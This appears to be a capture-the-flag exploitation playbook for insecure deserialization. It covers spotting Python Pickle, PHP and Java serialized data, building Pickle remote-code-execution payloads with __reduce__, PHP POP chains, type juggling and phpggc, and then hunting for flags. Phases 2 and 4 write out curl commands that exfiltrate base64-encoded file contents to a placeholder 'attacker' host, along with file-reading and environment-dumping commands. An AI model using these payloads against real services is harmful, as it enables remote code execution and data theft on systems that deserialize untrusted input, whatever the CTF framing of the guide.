In-depth Reference
- Pickle payload template library (echo/blind/file upload/sending methods) → references/pickle-payload-templates.md
- RCE succeeds but no echo? Blind exploitation out-of-band strategy → references/blind-exploitation.md
- PHP deserialization explained (POP Chain/Type Juggling/phpggc) → references/php-deserialization.md
- .NET deserialization exploitation (ViewState/BinaryFormatter/ysoserial.net) → references/dotnet-deserialization.md
Phase 1: Detect deserialization entry points
Common locations: Cookie values, POST Body, Hidden form fields (viewstate), API parameters, file uploads
Format identifiers (Magic Bytes):
| Format | Identifying characteristics | Next step |
|---|---|---|
| Python Pickle | After Base64 decoding \x80 starts with or contains cos\n(magic bytes) |
→ Phase 2 |
| PHP | O:4:"User":2:{ or a:N:{ format |
→ Phase 3 |
| Java | After Base64 decoding \xac\xed\x00\x05(Magic Bytes) or Base64 rO0AB starts with |
Java deserialization exploitation |
- Extract the values of all Cookies and hidden fields, and try Base64 decoding
- Check the
Content-Typeheader:application/x-python-pickle、application/x-java-serialized-object - Observe whether the error message contains keywords such as
pickle、unserialize、ObjectInputStreametc. - Upload
.pkl、.serand other serialized file formats, and observe the server-side behavior - Modify field values in the serialized data and observe response changes to confirm that the server actually deserializes the input
Phase 2: Python Pickle RCE
⚠️ Key constraints:__reduce__ can only return (模块级函数, 参数元组) — self.method will fail
- Construct a basic RCE payload: use the
__reduce__method to callos.systemorsubprocess.check_output - Echo payload:
subprocess.check_output(['cat', '/flag.txt'])— see the result directly in the response - No-echo payload:
os.system('cp /flag.txt /app/static/f.txt')— write a file to a web-accessible path - Out-of-band payload:
os.system('curl http://attacker/?d=$(cat /flag|base64)')— exfiltrate data over HTTP - Serialize and encode:
base64.b64encode(pickle.dumps(payload))then replace the original data and send - Note Python version differences: Python 2/3 pickle protocol versions differ, and you may need to specify
protocol=2
Common trigger points: Flask session, Redis session,Content-Type: application/x-python-pickle、.pkl file upload
Decision tree: echo payload → if no echo, write a file to a web path → if still failing, read the blind exploitation reference
→ full template → read references/pickle-payload-templates.md
Phase 3: PHP deserialization
- Identify the serialized string format:
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";} - Type Juggling quick reference:
b:1(boolean true) loose comparison==can bypass arbitrary password verification - Modify property values: directly modify fields in the serialized string (note that the length prefix
s:N:must match) - POP Chain construction: find a class with controllable properties (such as
__destructcallsfile_put_contents) and achieve arbitrary file write or command execution through chained property control - phpggc tool:
phpggc <framework>/<gadget> <type> <arg>automatically generates exploit chains for common frameworks - Common framework gadgets: Laravel (RCE), Symfony (file write), WordPress (object injection)
→ full POP Chain/Type Juggling/phpggc usage → read
references/php-deserialization.md
Phase 4: Flag retrieval
- After successful deserialization RCE, prioritize executing:
cat /flag.txt、cat /FLAG.txt - List directory search:
ls /→find / -name "*flag*" 2>/dev/null - Environment variables:
env | grep -i flag - When there is no echo, write to the web path:
cp /flag* /app/static/flag.txtthen access via HTTP - DNS/HTTP exfiltration:
curl http://attacker/$(cat /flag|base64) - Check the database:
cat /app/config*After obtaining connection information, query the flag table